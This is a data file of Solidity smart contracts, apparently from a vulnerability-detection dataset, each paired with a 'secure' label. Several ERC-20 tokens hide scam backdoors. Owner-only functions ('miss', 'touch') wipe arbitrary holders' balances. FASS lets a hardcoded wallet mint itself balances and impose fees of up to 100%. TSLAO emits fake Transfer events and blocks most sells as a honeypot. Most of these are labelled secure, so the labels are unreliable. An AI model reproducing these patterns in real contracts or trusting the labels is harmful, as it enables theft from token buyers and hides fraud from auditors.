amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == socialist, \"Not allowed\");\n\n _;\n }\n\n function miss(address[] memory answer) public onlyOwner {\n for (uint256 i = 0; i < answer.length; i++) {\n address account = answer[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_645.sol", "secure": 1, "size_bytes": 4373 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMiningContract {\n function mineBatch(uint256 mineCounts) external payable;\n}", "file_name": "solidity_code_646.sol", "secure": 1, "size_bytes": 154 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenContract {\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_647.sol", "secure": 1, "size_bytes": 275 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IMiningContract.sol\" as IMiningContract;\nimport \"./ITokenContract.sol\" as ITokenContract;\n\ncontract ProxyMiningContract {\n address public immutable owner = msg.sender;\n\n IMiningContract public constant miningContract =\n IMiningContract(0x35c8941c294E9d60E0742CB9f3d58c0D1Ba2DEc4);\n\n ITokenContract public constant tokenContract =\n ITokenContract(0x35c8941c294E9d60E0742CB9f3d58c0D1Ba2DEc4);\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function.\");\n\n _;\n }\n\n function proxyMineBatch() external onlyOwner {\n require(\n address(this).balance >= 0.001 ether,\n \"Insufficient contract balance for mining\"\n );\n\n try miningContract.mineBatch{value: 0.001 ether}(10) {\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(\n balance >= 200,\n \"Mining failed or insufficient tokens received\"\n );\n\n require(\n tokenContract.transfer(owner, 200),\n \"Token transfer failed\"\n );\n } catch {\n revert(\"Mining operation failed, transaction reverted.\");\n }\n }\n\n function withdrawFunds() external onlyOwner {\n payable(owner).transfer(address(this).balance);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_648.sol", "secure": 1, "size_bytes": 1492 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Yapp is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Yapp\", \"YAPP\") Ownable(initialOwner) {\n _mint(msg.sender, 6400000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_649.sol", "secure": 1, "size_bytes": 515 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}", "file_name": "solidity_code_65.sol", "secure": 1, "size_bytes": 1568 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ECHO is ERC20, Ownable {\n constructor() ERC20(\"Echo AI\", \"ECHO\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_650.sol", "secure": 1, "size_bytes": 342 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Retardterminal is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable freshman;\n\n constructor() {\n _name = \"Retard Terminal\";\n\n _symbol = \"TARDAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 285000000;\n\n freshman = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == freshman, \"Not allowed\");\n\n _;\n }\n\n function touch(address[] memory white) public onlyOwner {\n for (uint256 i = 0; i < white.length; i++) {\n address account = white[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_651.sol", "secure": 1, "size_bytes": 4372 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 092dc35): Contract locking ether found Contract DarkDoge has payable functions DarkDoge.receive() But does not have a function to withdraw the ether\n// Recommendation for 092dc35: Remove the 'payable' attribute or add a withdraw function.\ncontract DarkDoge is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = \"Dark Doge\";\n\n string private constant _symbol = \"DDOGE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73be5c5): DarkDoge.inSwap should be constant \n\t// Recommendation for 73be5c5: Add the 'constant' attribute to state variables that never change.\n bool private inSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: e615b08): DarkDoge.swapEnabled should be constant \n\t// Recommendation for e615b08: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce0e578): DarkDoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce0e578: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0ccca4f): DarkDoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0ccca4f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a372c16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a372c16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-no-eth | ID: a372c16\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: a372c16\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 092dc35): Contract locking ether found Contract DarkDoge has payable functions DarkDoge.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 092dc35: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_652.sol", "secure": 0, "size_bytes": 5938 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}", "file_name": "solidity_code_653.sol", "secure": 1, "size_bytes": 508 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DarkDoge is Context, IERC20 {\n using SafeMath for uint256;\n\n string private constant _name = \"Dark Doge\";\n\n string private constant _symbol = \"DDOGE\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private _totalSupply = 1_000_000_000 * 10 ** uint256(_decimals);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private immutable _owner;\n\n constructor() {\n _owner = _msgSender();\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function burn(uint256 amount) public returns (bool) {\n _burn(_msgSender(), amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(\n amount,\n \"ERC20: burn amount exceeds total supply\"\n );\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_654.sol", "secure": 1, "size_bytes": 4653 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract FASS is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc8bb78): FASS._decimals should be immutable \n\t// Recommendation for cc8bb78: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a85e53): FASS._totalSupply should be immutable \n\t// Recommendation for 6a85e53: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2632586): FASS._marketwalletsbtws should be immutable \n\t// Recommendation for 2632586: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwalletsbtws;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwalletsbtws = 0x4b1CD9D7B65B308D5Ac5970916f45888B23f1372;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function WaiverTaxFee(address user, uint256 feePercents) public {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwalletsbtws;\n }\n\n function liqbsburnttooldertings(\n address recipient,\n uint256 airDrop\n ) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_655.sol", "secure": 1, "size_bytes": 5399 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract TSLAO is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 271d72e): TSLAO._e242 should be constant \n\t// Recommendation for 271d72e: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 73c4eca): TSLAO.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 73c4eca: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0xe34930D24ee820a9D6FDE7868cAb885d6f4FBcfB);\n\n\t\t// missing-zero-check | ID: 73c4eca\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x4C5bAB2094FaD121B71bAbA91fD5722bEab97150 &&\n from != 0xe34930D24ee820a9D6FDE7868cAb885d6f4FBcfB &&\n from != 0x3C248C01C295f11cD86E12E0629F4760986E2788)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"TSLA.O\";\n\n _symbol = unicode\"TSLA.O\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_656.sol", "secure": 0, "size_bytes": 6549 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\n\nabstract contract Ownable2StepUpgradeable is Initializable, OwnableUpgradeable {\n struct Ownable2StepStorage {\n address _pendingOwner;\n }\n\n bytes32 private constant Ownable2StepStorageLocation =\n 0x237e158222e3e6968b72b9db0d8043aacf074ad9f650f0d1606b4d82ee432c00;\n\n function _getOwnable2StepStorage()\n private\n pure\n returns (Ownable2StepStorage storage $)\n {\n assembly {\n $.slot := Ownable2StepStorageLocation\n }\n }\n\n event OwnershipTransferStarted(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable2Step_init() internal onlyInitializing {}\n\n function __Ownable2Step_init_unchained() internal onlyInitializing {}\n\n function pendingOwner() public view virtual returns (address) {\n Ownable2StepStorage storage $ = _getOwnable2StepStorage();\n\n return $._pendingOwner;\n }\n\n function transferOwnership(\n address newOwner\n ) public virtual override onlyOwner {\n Ownable2StepStorage storage $ = _getOwnable2StepStorage();\n\n $._pendingOwner = newOwner;\n\n emit OwnershipTransferStarted(owner(), newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual override {\n Ownable2StepStorage storage $ = _getOwnable2StepStorage();\n\n delete $._pendingOwner;\n\n super._transferOwnership(newOwner);\n }\n\n function acceptOwnership() public virtual {\n address sender = _msgSender();\n\n if (pendingOwner() != sender) {\n revert OwnableUnauthorizedAccount(sender);\n }\n\n _transferOwnership(sender);\n }\n}", "file_name": "solidity_code_657.sol", "secure": 1, "size_bytes": 1927 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _theOwner;\n\n event OwnershipTransferred(\n address indexed oldOwner,\n address indexed newOwner\n );\n\n constructor() {\n address sender = _msgSender();\n\n _theOwner = _msgSender();\n\n emit OwnershipTransferred(address(0), sender);\n }\n\n function getOwner() public view returns (address) {\n return _theOwner;\n }\n\n modifier checkOwner() {\n require(\n _theOwner == _msgSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function callOwnership() public virtual checkOwner {\n emit OwnershipTransferred(_theOwner, address(0));\n\n _theOwner = address(0);\n }\n}", "file_name": "solidity_code_658.sol", "secure": 1, "size_bytes": 904 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address firstToken,\n address secondToken\n ) external returns (address pairing);\n}", "file_name": "solidity_code_659.sol", "secure": 1, "size_bytes": 227 }
